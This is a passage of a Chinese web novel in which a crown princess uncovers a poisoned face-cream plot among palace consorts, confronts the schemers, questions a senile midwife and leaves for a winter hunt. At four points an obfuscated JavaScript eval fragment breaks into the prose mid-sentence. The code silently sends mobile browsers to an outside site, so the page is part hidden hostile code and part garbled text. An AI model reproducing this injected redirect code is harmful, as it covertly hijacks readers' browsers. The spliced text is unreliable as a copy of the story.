“我心中生疑,便寻了太医来瞧,谁知太医说那玉容膏里竟然被人下了毒。” “担心太子妃也在用此物,便紧忙赶来禀告,免得太子妃被奸人所害,破了相。” 第74章 对峙 夜颜闻言,神色紧张地看向江箐珂。 他大手钳着她的脸蛋,左左右右地仔细瞧了个遍。 江箐珂知道他在担心什么,抬手指了指自己的妆奁。 “你送我的还没用,都放在了那里了。” “我送给张良娣的那三瓶,是今天徐才人送给我的,应该是那三瓶出了问题。” 夜颜仍是不放心。 他旋即起身,大步走到那妆奁前,翻出他前几日送给江箐珂的几瓶玉容膏,依次打开在自己的手上试涂了一遍。 殿门在此刻应声而开,曹公公躬着身子,碎步跑进来请示。 江箐珂同夜颜交换了一下眼神,同曹公公吩咐道:“让张良娣进来吧。” 张良娣入殿时,夜颜已躺在了纱幔垂挡的床榻之上。 “妾身见过......” 张良娣微微侧头,朝床榻的方向瞧了一眼。 继而低头道:“见过太子殿下,见过太子妃。” “太子殿下已经歇下,有何事,就先同本宫说吧。” 江箐珂的话音一落,张良娣便将殿门外的婢女叫了进来。 那婢女将衣袖撩起,露出手臂上起了挠得溃烂的肌肤。 待张良娣大致重复了一遍事情经过后,江箐珂问:“所以,本宫送你的三瓶玉容膏都有毒?” 张良娣垂头跪在那处,说起话来不急不躁,极具大家闺秀的端庄沉稳之态。 “太子妃惦念妾身才派喜晴姑娘送玉容膏到芙蓉轩,妾身知晓太子妃断不会,也没理由害妾身。” “妾身怕闹出什么乌龙来,辜负太子妃的一片好意,还特意让三位太医验过。” “三位太医借说那三瓶玉容膏确实都有毒,太子妃若是不信妾身的话,可派人去太医院查问。” “但妾身担心太子妃手里仍有这下了毒的玉容膏,辗转难眠,才斗胆于深夜里来叨扰太子妃和太子殿下。” “还请太子妃恕罪。” 江箐珂将那玉容膏拿在指间打量,放到鼻尖嗅了嗅。 一样的大小,一样的青釉色瓷瓶,也看不出和自己送出去的有何不同。 姑且不谈徐才人与她何怨何仇。 就说徐才人会有这么蠢吗,直接送有毒的玉容膏给她? 实在不合常理。 思忖了片刻,江箐珂认为不能急着作判定。 “本宫已经知道了,谢良娣提醒。” “今日时辰也不早了,你先回去歇息。此事,明日再议。” 殿门一关,夜颜衣襟大敞地从九重帐幔里踱步而出,在江箐珂的身侧落座。 他提笔写字问她。 【太子妃如何看待此事?】 江箐珂单手撑着腮,指尖一下一下地敲着桌面,拧紧的眉头夹带着几丝疑惑。 “徐才人单纯可人,性子娇娇软软的,不像会做出此事的人。” “就算本宫看走眼,可哪个蠢人会直接送有毒的东西给我?” “我用了只会烂脸,又不会被毒死,过后算账,那徐才人岂不是......自寻死路?” 她抿唇摇头。 “或许,徐才人自己也不知这三瓶玉容膏被人下了毒。” “而是有人想借徐才人来害我,再嫁祸给徐才人。” 夜颜提笔附言。 【一石二鸟。】 “对,一石二鸟。” 细思极恐,江箐珂不禁后怕起来。 就是怕有人下毒,东宫的吃穿住行,曹公公管理得十分严格。 大到一日三餐,小到贴身用的面料、被褥,曹公公都会带人细细检查。 不曾想还是有遗漏之处。 也怪她自己不够谨慎,对收到手的东西没有验毒意识。 若她像江箐瑶一样,就喜欢捣弄这些胭脂水粉,舍不得这几瓶玉容膏,那她就会在未来的某一天突然因其中的一瓶而毁容。 若她拿去送给宫里的某位贵人,或者京城世家的高门女眷,那就是未知的祸事。 江箐珂再次深刻地意识到,李玄尧和曹公公之前的话说得很对。 这宫里不同西延,宫里的人也不同于继母张氏那般坏得肤浅。 想在宫里独善其身,便要打起一百个精神来,步步谨慎,处处小心。 可这日日兢兢战战地活着,有什么意思呢? 人生的大半精力不是用来享受快活,却要用来钩心斗角,对付这些尔虞我诈? 夜颜拍了拍江箐珂的手,打断了她的沉思。 他将写好的字抬到眼前给她看。 【明日交给殿下处理,太子妃无须伤神。】 【记住,在这宫里,不可轻易相信任何人,即使是徐才人这样看起来单纯且与世无争之人。】 【待日后你成了大周的皇后,遇到的将不止是玉容膏这样阴毒的事。】 【我不在你身旁时,定要护好自己。】 江箐珂长长地叹了口气,转头看向火炉里烧得猩红的银丝炭。 她一脸怅然道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15980935|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这皇后有什么好当的?若是可以重来,我拖着举着也要把江箐瑶送上东宫的花轿。” 炭火映在夜颜的双瞳里,燃着那烧不尽的两色幽怨。 他打了个手语问江箐珂。 【那我呢?】 【也后悔遇见我吗?】 卷翘纤细的睫羽轻颤,江箐珂看着夜颜默了默,忽而莞尔。 “等你露真颜那日,本宫再告诉你。” 江箐珂打了个哈欠,起身上床准备就寝。 夜颜则坐在原处,指腹摩挲,看着桌上那三瓶有毒的玉容膏,似在思忖着什么。 侧眸,目光落在折册子上,瞧着“徐才人”那三个字。 “夜颜,不过来睡觉吗?” 江箐珂躺在床上唤他。 夜颜闻声起身。 并那册子扔到炭火盆里。 火舌跳跃,他亲眼看着火焰将那白纸黑墨一点点吞噬。 一双异瞳深邃而阴沉,里面是火光都照不亮的黑。 待折册子成了炭炉里的一捧灰烬,夜颜转身熄烛。 偌大的寝殿彻底被黑暗占据,他摘掉面具,披着那身大敞的衣袍,肩背笔挺且孤傲地踱步至床边,在江箐珂身侧早已预留出的位置躺下。 手臂攀上软腰,胸膛贴上娇小单薄的后背。 夜颜把人搂进怀里...... 不同于其他饮食男女,虽没有一句情话骚话,可暧昧缱绻却在静静地肆意造作。 翌日。 李玄尧一下朝,便将江箐珂、张良娣和徐才人都传召到了书房。 “所以说,这有毒的玉容膏皆是徐才人送给太子妃的?” 李玄尧眼锐如鹰,面色沉冷得摄人。 张良娣跪在那处摇头。 “妾身不知是不是徐才人送的,只知太子妃送给妾身的玉容膏有毒。” “想着太子妃为人宽厚德善,并无害妾身的理由,便想着定是有人想借着玉容膏来害太子妃。” “只是没想到太子妃惦念妾身,将玉容膏赏给了妾身。” 一旁的徐才人五体投地跪在地上,已经哭成了泪人儿。 “殿下,妾身冤枉啊。” “妾身送给太子妃的三瓶玉容膏,皆是舅父给的,与妾身和穆姐姐用的都是同一批。” “穆姐姐和妾身用了都没事,不知为何,送给太子妃的三瓶独独出了问题。” “太子妃待妾身极好,妾身是断没有害太子妃的心思。” “还请太子殿下明察。” 第75章 螳螂捕蝉 李玄尧目光在落在徐才人身上时,那股锋锐之气登时就柔和了不少。 “徐才人有孕在身,坐下说话。” 江箐珂偷偷睨了李玄尧一眼。 恰好李玄尧也侧眸看向她。 四目相对,各有思量。 谁也没给谁好眼色,便各自收回了视线。 对于玉容膏之事,李玄尧定是要给个交代的。 于是,他便反问张良娣。 “是不是你为了构陷徐才人,才故意弄了三个有毒的玉容膏?” “毕竟,整个京城只有徐才人舅父的御颜坊才出售此物,徐才人先是送了两瓶给穆侧妃,你碰巧得知,便猜到徐才人还会再送给太子妃几瓶。” “然后在徐才人送出前,收买徐才人院里的人,寻机做了手脚?” 张良娣慌乱摇头,双眼含泪,直喊冤枉。 适时,徐才人喏声开口。 “殿下,御颜坊出的玉容膏,在封瓶盖的里侧都有刻印,今年出的这批总共二十四瓶,遂上面分别刻了二十四节气。” “舅父送妾身的,定不会有假,更不会送有毒的玉容膏来害我。” “而妾身的那六瓶,都是随意挑选送给太子妃和侧妃的,怎就那么巧,三瓶有毒的都送到了太子妃的手里?” “其中,定是有人在何时动了手脚的。” “不如拆开那封瓶盖,瞧上一瞧。” 李玄尧闻言,便命曹公公取下绑在封瓶盖上的那层红绸,只见青釉色的瓷盖里,不见半个字。 “没字?” 张良娣的脸上先是错愕,紧接着是茫然:“这三瓶是假的?” 她转头看向徐才人,心中的疑惑没能问出口。 因为这三瓶就是徐才人和穆侧妃给她的,然后她命人在里面掺了**。 可她若质问徐才人为何送假的给她,那便是认了下毒之人是她。 后知后觉,张良娣察觉自己好像中了圈套。 她垂下头去,眸眼轻动,不慌不乱地又换了另一套说辞。 “也就是说,有人偷偷换掉了这三瓶。” “殿下,妾身认为,此事三个院子里的宫婢、太监都脱不了干系。” “下毒之人既有可能是在徐才人院里动手的,也有可能在凤鸾轩里下手,更有可能是在妾身的院子里,趁妾身不注意偷换。” “至于幕后之人究竟想害的人是谁,便不得而知了。” 江箐珂哂笑了一声。 事情问到这个地步,确实是说不清了。 搞不齐,连送玉容膏到芙蓉轩的喜晴都要扯上嫌疑。 就在李玄尧也难下决断时,穆汐带着女婢和一位嬷嬷来了书房。 穆汐盈盈行了一礼,坐到了徐才人的身侧。 张良娣在看到那嬷嬷的瞬间,一张清秀粉嫩的小脸登时惨白如纸,眼里透着慌乱。 穆汐的婢女代言道:“启禀陛下,穆侧妃有一事禀报。” “昨日这位嬷嬷出宫时,身上藏了东西,在离宫搜身时被摸了出来,当场便被押送到慎刑司拷打了一番。” “嬷嬷受刑时,不堪忍受,说那东西是宫里的贵人赏她的。” 张良娣转头看向自己那个贴身女婢。 女婢明明说那嬷嬷已经将三瓶玉容膏平安带出宫,怎么会被捉了个现行? 话说到此处,穆汐的婢女将那三瓶玉容膏拿了出来。 曹公公立马上前接过,将封瓶盖打开确认。 只见三个瓷盖里面分别有着“白露”、“霜降”和“惊蛰”,一看就是瓷器烧制前刻在上面的。 “殿下,这三个是真的。” 李玄尧用力拍了下桌子,震得在场的人都打了个寒颤。 “说,哪个贵人送你的,不说就拖出去斩了。” 嬷嬷吓得浑身发抖,立马磕头求饶。 “殿下饶命啊,那玉容膏张良娣赏给老奴的,老奴真的没偷也没抢啊。” 李玄尧冷眼看向张良娣,眸光跟刀子似的,势要**。 “张良娣,你赏给嬷嬷的三个玉容膏该如何解释?” 张良娣连忙开口辩解。 “殿下,其实在太子妃赏妾身这三瓶玉容膏之前,徐才人先送了妾身一瓶。” “而穆侧妃因为用玉容膏会起红疹,将徐才人送她的那两瓶也转送给了妾身。” “偏偏太子妃又送来三瓶,六瓶太多,妾身想着用不完,便给了这嬷嬷三瓶。” 李玄尧冷笑问道:“哦?这玉容膏此批就二十四瓶,千金难买,不知是多少京城贵女哄抢之物,你说给嬷嬷就给嬷嬷,不知这嬷嬷于良娣,可是有何莫大的恩情?” “更何况,嬷嬷是徐才人院里的。” 张良娣语塞,瘦弱的身躯微微发抖。 她实在想不出极具说服力的理由。 是时,徐才人疑惑不解地看向张良娣。 她声音软软糯糯的,听起来娇柔至极,也乖巧非常。 “良娣姐姐,妹妹何时送你玉容膏了?” “我只有六瓶,两瓶送了穆姐姐,三瓶送了太子妃,仅剩一瓶,当然是留给自己用了。” “若是不信,这二十四节气的玉容膏都是有数的,大可以去御颜坊查查看。” 张良娣红唇半启,不可思议看着徐才人。 “你明明送了我一瓶,还当着我的面而送了穆侧妃两瓶。” 张良娣转头看向穆汐,试图求助道:“穆侧妃,你可以为妾身作证的。前日,我们一起去的徐才人院里,又一起离开,路上侧妃不是将那两瓶转送给了我?” 穆汐秀眉微蹙,摇头打着手语。 【我何时送过你玉容膏?】 一旁的女婢代言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991220|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“我家侧妃那两瓶现在还在梧桐苑的妆奁里放着呢,不信,大可派人去瞧。” 徐才人也跟着附声。 “妾身的那瓶也在房里,殿下可以派人去查。” 张良娣指向自己的女婢,争辩道:“殿下,妾身的贴身女婢可以作证,她亲眼看到穆侧妃送了妾身两瓶玉容膏,徐才人送的时候,她也在场。” 那女婢磕头道:“启禀殿下,张良娣所言句句为假,奴婢......奴婢并不曾看到。” “但,张良娣命这嬷嬷换了徐才人的玉容膏,倒是真的。” 李玄尧一字一句,眼底戾气腾腾。 “所以,张良娣是故意弄出这三瓶有毒的玉容膏,偷偷换掉正品。” “怕人发现,便让嬷嬷带出宫销赃,以此来嫁祸徐才人,只因嫉妒她得本宫的宠爱,先于你怀了龙嗣?” “现在说不清,又编造谎言,说这三瓶是徐才人和穆侧妃给你的,妄想脱身?” 张良娣满面荒唐看着自己的贴身婢女,像被人瞬间抽去了气力,颓丧地跪坐在地上,失语地摇头笑了。 “心思如此恶毒,当真该罚。” 李玄尧扬声下令。 “来人,把张良娣和这嬷嬷拖下去,赏一丈红。” 这一丈红打下去,张良娣非死则残。 江箐珂无声旁观,心如明镜。 眼下的情形,大有一种螳螂捕蝉黄雀在后的架势。 螳螂没捕到蝉,却被黄雀给吃了。 可惜,黄雀失算,没能连蝉和螳螂一块吃下肚。 张良娣受罚虽不冤,可从她的只言片语来看,定是被人做了局,成了那螳螂。 眸光流转,江箐珂的视线依次扫过穆汐、徐才人和张良娣。 三个,没一个好人。 只可惜没有人证物证,穆汐和徐才人做局陷害张良娣的事儿,是掰扯不清了。 且毒确确实实是张良娣下的。 而全程没插手的人自是干干净净,无懈可击。 想来,穆汐和徐才人在做局前,早就想好了撇清罪名的退路。 离开书房后,三人无声走着。 在朝各自院落散去时,穆汐走到江箐珂的身前,微微欠身。 纤纤细手打着手语。 有些复杂,江箐珂没太看懂。 一旁的女婢替穆汐言说。 “侧妃说,多亏太子妃福泽深厚,能逢凶化吉,才没能让张良娣这样的恶女得逞。” “不愧是太子妃,天之骄女,命就是好。” 女婢言落,穆汐冲着江箐珂浅浅一笑,转身而去。 回梧桐苑的路上,女婢同穆汐道:“没想到太子妃真是福大,倒是可惜了这一石二鸟之计。” 穆汐手语回复。 【无妨,好在惠贵妃安插在东宫的这枚蠢棋,倒是如愿除掉了。】 第76章 我想要你(修) 梧桐苑。 穆汐还未踏进垂花门,便听到她的寝殿里传来阵阵琴声。 惊喜浮上眉梢,她提着裙裾,穿过游廊,急匆匆朝寝殿跑去。 殿门推开,便见日思夜想的那道身影,戴着帷帽,正坐在古琴前娴熟地拨弄琴弦。 穆汐眉眼弯弯如月,欣喜不已走上前去,冲那人比划着。 “嘣”的一声,如裂帛之音,琴弦猝然断裂,惊得穆汐顿住了脚步。 夜颜头也不抬,修长骨感的手指,无情地拨弄琴弦,一根接着一根,一声接着一声,琴弦在穆汐眼前被悉数拨断。 那是当年他送给自己的及笄礼。 没关系。 弦断了,接好便是。 穆汐虽红着眼,却仍看着夜颜笑。 夜颜起身,绕过古琴,气场低沉森寒地走到穆汐身前。 青筋凸起的一只手猛然钳住穆汐的细颈,掐得她面色逐渐胀红,渐渐要喘不过气来。 可即使如此,穆汐却毫不挣扎,双手抚上夜颜的手背,直直地看着他笑。 在她几近要窒息时,夜颜松开手,将她推到一边。 他手语警告。 【记住这种濒死的感觉。】 【下次再敢和徐才人打她的主意,那么喜欢拿死来威胁我,我不介意帮你死。】 眼底漫上一层水雾,穆汐委屈摇头。 她流着泪,双手急切比划着。 夜颜似是懒得同她废话。 隔着帏纱,冷艳睥睨着她。 【看在你我一起长大的情分,这次我可以不计较。】 【以后,离她远点,再敢动歪心害她……】 夜颜比划了抹杀的动作,手指用力直指穆汐。 他转身要走。 穆汐却跑到寝殿里那个通往密道的石门前,用身子挡住了夜颜的去路。 灵活的手指快速地传递着她的心思和情绪。 <> 她扯掉身上的狐裘斗篷,又一件接一件褪掉里面的衣裙,发泄似地用力扔在地上,仅剩一件肚兜和一条雪白的中裤。 密道里的冷寒渗入殿内,冻得她瑟瑟发抖。 但穆汐还是强撑着,气愤地比划着自己的所思所想。 穆汐一边朝夜颜靠近,一边手语倾诉。 <> 皓臂抬起,穆汐扯掉肚兜的系带。 绣着鸳鸯的那块绸缎坠地,露出曼妙玲珑的好身姿。 褪掉中裤,她走上前去,紧紧抱着夜颜不放。 穆汐想拉起夜颜的手,让他抚摸自己的身体,可那攥成拳的手却像千斤重的秤砣一样,垂在他身侧,一动不动。 她掀起那帏纱,与他罩进同一个帷帽里。 然后抬手比划,勾引诱劝。 一双诡异的瞳眼沉敛无波,水蓝色的那侧如同结冰,冷漠疏离至极,微眯的深褐色则噙着轻蔑。 夜颜掐着穆汐的脖子,将她轻而易举地从身上推开。 【把你的尊严穿起来,别丢了穆家的颜面和侧妃该有的仪态。】 【还有,她和你不一样,因为她不会将自己的尊严和傲骨脱下来。】 绕过一丝不挂的穆汐,夜颜不疾不徐,踱步走进密道的石门。 伴随厚重沉闷的声响,石门关合。 穆汐的哭泣和羞耻都隔留在了她的寝殿里。 ** 七日之约已到。 江箐珂和喜晴乔装出宫,带着几个拖油瓶,朝着归宝阁而去。 路上,喜晴拉开马车的车窗,受江箐珂示意,探头同车外的谷昭搭话。 东扯西扯地聊了片刻,她将话题引到了正事儿上。 “穆家**,穆大人已回内阁,穆侧妃也恢复了女儿身。” “这穆家上下都从流放地接回来了,却唯独没听说穆大公子也回了京城,昭哥可知是怎么回事?” 谷昭言之凿凿道:“穆大公子想看看大周的山水,去四处游历了,估摸着要一年半载才能回京。” 江箐珂坐在车里听得一清二楚。 若夜颜是穆珩,他自小便因为一双与众不同的眼睛,被家人遮遮掩掩的,想来这么多年,行事定有不便。 此番借游历为由,长久隐身,倒也合情合理。 可夜颜若不是穆珩,这番说辞多多少少有些牵强。 穆元雄身为内阁首辅,仅穆珩这一个儿子,早过了弱冠之年,难道就不急着让他科考入仕,继续光耀穆氏门楣? 思忖之间,马车停在了归宝阁的门前。 不同于之前,这次典当先生将她带到了十分雅致的房间里。 竹帘垂挡,朦朦胧胧映着两道身影。 一个坐着,一个站着,倒像是主仆关系。 坐着的那个戴着帷帽,看不出是男是女。 站着的那个,身材纤瘦单薄,虽然看起来是男子装扮,可那身量瞧着却像是个女子。 典当先生给江箐珂满了一杯茶敬上,打断了她的审视。 有了张良娣下毒之事的教训,江箐珂瞥了那一眼茶,没动。 在宫里,她学会了一件在西延学不到的事。 那就是宁可辜负对方的好意或者冤枉对方,也绝不能为了情面,将自己置身于危险之中。 “不知,这位……” 典当先生看了眼江箐珂精心贴的小胡子,顿了顿,还是很给面子地叫了一声“小郎君”。 “知晓太子妃什么秘密?” “不如,先说来听听,让在下辨辨真伪。” 说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15991221|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间,典当先生拿起一个卷起来并挂着签牌的纸笺,将签牌上的人名在江箐珂眼前晃了下。 “产婆所住之地就在这上面,若消息可靠,便将此消息换给小郎君。” 江箐珂故意夹着嗓子,沉声问:“你们想知晓何种秘密,是喜好、怪癖还是情史?” 典当先生回头看了眼帘后之人。 竹帘后面传来男子嗓音,清润温和,声音让人如沐春风。 “若是可以,当然是想知晓太子妃与太子同房之事。” “比如,有何亲密的动作是太子喜欢的,欢好时你二人会说什么小情话,又或者,太子妃侍寝前都是如何准备的。” 江箐珂看着隔帘后的两个人。 纳闷儿对方怎会问出如此私密的事。 江箐珂问:“知晓此事,对你们有何用?” 男子的声音轻轻缓缓,不疾不徐。 “自是有大用。” “太子龙章凤姿,矜贵俊美,乃未来帝君,这京城里不知有多少女子想成为太子的枕边人。” “知晓太子喜欢什么,就算是东施效颦,也能靠云水之欢,攀上这高高的金枝儿不是?” 江箐珂哂笑道:“此等隐秘的房中事,在下岂能知晓。” 男子不再说话,典当先生则代为开口。 “那这消息,自是换不成了。” 眼见着帘后之人起身要走,江箐珂心想着来都来了,遂叫住了对方,半真半假地胡编乱造起来。 “在下只知太子妃是将门之女出身,性格蛮横,特别喜欢抽鞭子。” “与太子同房时的前戏,就喜欢把太子绑在床榻上,用小鞭子**地抽太子。” “而太子似乎也很享受这个,嘶嘶哈哈的,叫得殿外守门的侍卫都能听得见。” 撒谎也得有点底线,毕竟是冲着换消息来的。 江箐珂便适当地说了句真话。 “我还听东宫的小太监和嬷嬷们说,太子妃侍寝前都会沐浴熏香,喜欢用的熏香是小苍梨。” “是西延的一家香料阁特制的,京城没有。” “她不似京城的贵女娇奢,就喜欢绫罗绸缎。” “听宫里浣洗局的宫女说,太子妃的寝衣都是棉麻做的中衣长裙,说是穿着贴身亲肤,好用还好洗,上面经常会沾着太子的龙精。” 竹帘后有人冷冷地呻笑了一声。 随即又传出那道男声,“胡言乱语中倒是有一两句有用的。” 帘子挡着,江箐珂还是没能听出说话之人到底是坐着的那位,还是站着的那位。 总之,她这消息算是换成了。 按照归宝阁给的消息,江箐珂买了些米粮盐肉,寻到了那产婆的住处。 第77章 殿下这样我害怕 产婆满头华发,已经是皱巴巴的七旬老妪。 江箐珂和喜晴动作一致地歪着头,面无表情地看着眼前的老阿婆,唯有半张的嘴在表达她们愕然的心情。 那产婆将竹条编织的枕头用小被子包着,像抱孩子似的抱在怀里,哼着小曲,哄“孩子”睡觉。 预感不妙,江箐珂叹了口气。 来都来了,问吧。 她柔声道:“阿婆,您可还记得,二十年前,去穆府给穆夫人接生的事吗?” “穆府?” 产婆目光空洞地点了点头。 “记得,记得,穆大人和穆夫人都是大好人。” 好像也不是那么糊涂嘛。 江箐珂继续问道:“那你可记得穆夫人生的小公子?” 产婆哄着怀里的枕头,一边拍打一边笑道:“哎呦,夫人的两个小公子可真俊啊。” “两个?” 江箐珂在产婆身前蹲下,“穆夫人生了个双胞胎?” 浑浊的双眼看向江箐珂,产婆一下摇头,一下又点头。 “不是,就是生了两个,不是双胞胎。” 一起生了两个还不是双胞胎? 江箐珂一个头两个大。 只听产婆又道:“但是,又被人抱走了一个。” “为何被抱走了,被什么人抱走了?”江箐珂追问道。 产婆呆呆地望着一处,哼着小曲,又不说话了。 “阿婆,穆府的两个小公子为何被抱走了一个?” 重复问了多次,产婆有回过点神儿来。 “哪有,不止两个,穆夫人那一窝生了十二个崽,东家送一头,西家送一头,最后就剩一个了。” 江箐珂:“……” 捏了捏眉心,江箐珂耐下心来又换了个问题。 “那阿婆接生的孩子中,可有一个眼睛是水蓝色的,一个眼睛是深褐色的?” “水蓝色?” 产婆听到此词后,混浊的眼睛突然亮了几分。 “对,水蓝色的眼睛,白白净净的,好看得很。” 听到此处,江箐珂心情振奋不已。 “那是哪家夫人生的,可是穆夫人生的?” 产婆笑吟吟地看着江箐珂道:“不是,是国公府家的。” “国公府?” “对呀。” 产婆点头道:“国公夫人养的那对西域猫,都是白色的,一只眼睛是水蓝色,一只是深黑色,一窝下了六个猫崽子呢。” 江箐珂扶着后勃颈,翻了个大白眼儿,感觉太阳穴也在突突地跳。 问了个寂寞。 …… 冬至。 再有几日便是除夕。 按照大周皇室习俗,每年冬至前后都会举行一场岁末雪狩,用来祭祀先祖。 而远在各处封地的亲王也会来京一同参与。 衡帝今年的病始终不见好转,雪狩和祭祀之事便全权交由太子李玄尧来主持。 江箐珂作为将门之女,最是擅长骑马射箭,雪狩这种事儿,她早就盼了好久。 红枣**止养得肥肥壮壮的,这次终于有机会可以骑着它,风光地耍一把了。 离开京城前夜,江箐珂来到江止和江箐瑶住的宅子,要把红枣接到东宫,以便明日天一亮就跟着出发。 “雪狩?” 干草顶到唇角,吐字带出的气息被冻成哈气,在江止嘴边缭绕弥散。 他不放心地看着江箐珂,问:“危不危险?” 江箐珂甚是疼爱地抚摸着那匹赤兔,不甚在意道:“能有什么危险,打个猎而已,还有那么多侍卫官兵在呢。” “我跟你一起去。” “阿兄不用去镖局吗?” “呸”的一下,江止愤愤地将那根干草吐了出去。 “不知哪个鳖孙子老给大镖,害得老子出趟镖,就得离开京城小半个月。” 他懒声笑道:“不干了,以后就靠满满养了。” “叫小满。” “满满。” “不叫小满,不给银子。” “没事,阿兄可以**。” 江箐珂狠狠瞪了江止一眼。 “当心得花柳病,烂......” 就算是活得再糙再粗鲁,后面的话她也说不出口,尤其还是跟江止。 江止却歪头看她,挑眉坏笑:“烂什么?有种说啊。” 江箐珂低头不搭茬。 江止却突然走到她身前,躬腰俯身,凑到她耳边,轻声道:“烂,雕。” 江箐珂当即一拳狠狠捶在了他的胸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16000068|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口上。 “阿兄真是跟谁都没个正形,以后哪家娘子愿意嫁你。” 江止捂着胸口咯咯地笑。 他也知道,千不该万不该,跟江箐珂说这样下流又无耻的骚话。 可是,忍不住。 “我让曹公**排,看看能不能把你安插到东宫的侍卫队伍里。” 江箐珂立马换了话题。 “用不着。”江止捧起一把草,去喂他的那匹乌骓:“老子自己去。” 翌日。 江箐珂与李玄尧同乘一辆马车。 不同于往日,李玄尧今天没瞪她,也没调侃揶揄她。 他双手搭在膝盖上,头靠着车壁,闭目养神,仍是以往那副不爱搭理人的调性。 但…… 江箐珂端详了大半晌,怎么瞧,怎么都觉得今日的李玄尧有点不一样。 憋了半晌,她先开口。 “殿下胖了?” 李玄尧眼皮缓缓掀起,看着她浅浅一笑。 而那双幽深沉静的眼里少了昔日的威冷锐利,温和如水,看得江箐珂不由打了寒颤。 “殿下这么看我笑,妾身有点害怕。” 李玄尧忍俊不禁,低头抿唇。 这样子,江箐珂看着就更害怕了。 “殿下莫不是……吃错药了?” “爱……妃……” 不知为何,李玄尧这声“爱妃”叫得有些生涩。 “在西延时,想来冬季定经常骑马狩猎吧?” 说话的语气也太柔和了,那股阴阳怪气的劲儿哪去了? 江箐珂一副见鬼的模样,茫然摇头。 李玄尧微微挑眉,歪头表示不解。 江箐珂怔怔然地回着话。 “西延的冬季,天寒地冻,雪厚的时候都到膝盖,别提有没有动物四处瞎溜达,马都爬不起来,根本没法骑马狩猎。” “而春天,山里的禽兽也要休养生息。所以,在西延,我们只是有夏季和秋天才会狩猎。” 李玄尧彬彬有礼地颔首,浅笑道:“原来如此。” 江箐珂道目光落在李玄尧搭在膝盖上的双手。 他手指蜷缩,微微抓皱了那处的衣袍,好似有些紧张。 在怕什么呢? 这氛围,似曾相识。 第78章 多事之秋 江箐珂突然想起唯一一次与李玄尧同床共枕的那晚。 李玄尧当时也是这般紧张来着。 江箐珂心中生疑。 “殿下今日怎么怪怪的?” 李玄尧收敛神色,沉声坦然:“只是有些紧张。” “紧张什么?” “此次雪狩。” “又不是上战场杀敌,打几只兔子、狍子而已。” 李玄尧目光沉敛,若有所思道:“希望只是打几只兔子、狍子而已。父皇病卧在床,今年的岁末雪狩.....或许不同往年。” 他再次侧眸看向江箐珂,柔声提醒。 “此行,你也要多加小心才是。” 话落,他倒了杯姜枣茶递给了江箐珂。 “天气严寒,爱妃......先暖暖身子。” 江箐珂下巴差点惊掉。 李玄尧都多长时间不待见她了,上次给她倒茶好像还是求她给西延写家书的时候吧? 江箐珂伸手接过,皮笑肉不笑。 “殿下紧张时,人还怪好的。” 赶了一整日的路,在太阳落山前,浩浩荡荡的队伍终于到了皇家山林下的行宫。 下了马车,冷风瑟瑟,冻得人不由将身上的大氅和斗篷裹得再紧一些。 可视野也随之骤然开阔起来。 群山连绵,林海苍茫。 覆雪皑皑,绵延千里。 久违的舒畅和自由的气息,随着寒风,迎面扑来。 风打在脸上,冻得鼻尖和耳廓都冰冰凉凉。 江箐珂觉得自己就像一个会吞云吐雾的小兽,成了为群山峻岭的一部分。 适时,一声清脆且特别的口哨,引得江箐珂循声望去。 只见江止骑着那匹乌骓从不远处而来。 束发的红绸带随风飘飞,宛若两条赤色的小蛇,在半空中舞动蜿蜒。 多亏那件玄色大氅盖住了红色的衣袍,在这积雪铺就的白色世界里,才让江止看起来没那么醒目且张扬。 江箐珂欢喜迎上前去。 “阿兄来得还挺快。” 江止翻身下马,懒声道:“什么叫来得还挺快,老子早就来了,你们这几百人慢慢悠悠的,能赶过我快马加鞭。” 手拿着马鞭,他指了指周边。 “在这儿等你们来时,早顺带着把这周边儿都转了一遍。” “感觉那边傻狍子和兔子多,雪地里都是小脚印儿。” 江箐珂满眼期待。 “行,明天就去那边多打几只兔子,回头把兔皮剥下来,给阿兄做护膝和冬衣领子。” 江止抬手弹了下江箐珂的脑门。 “就这点志气?有种给阿兄打只火狐狸。” 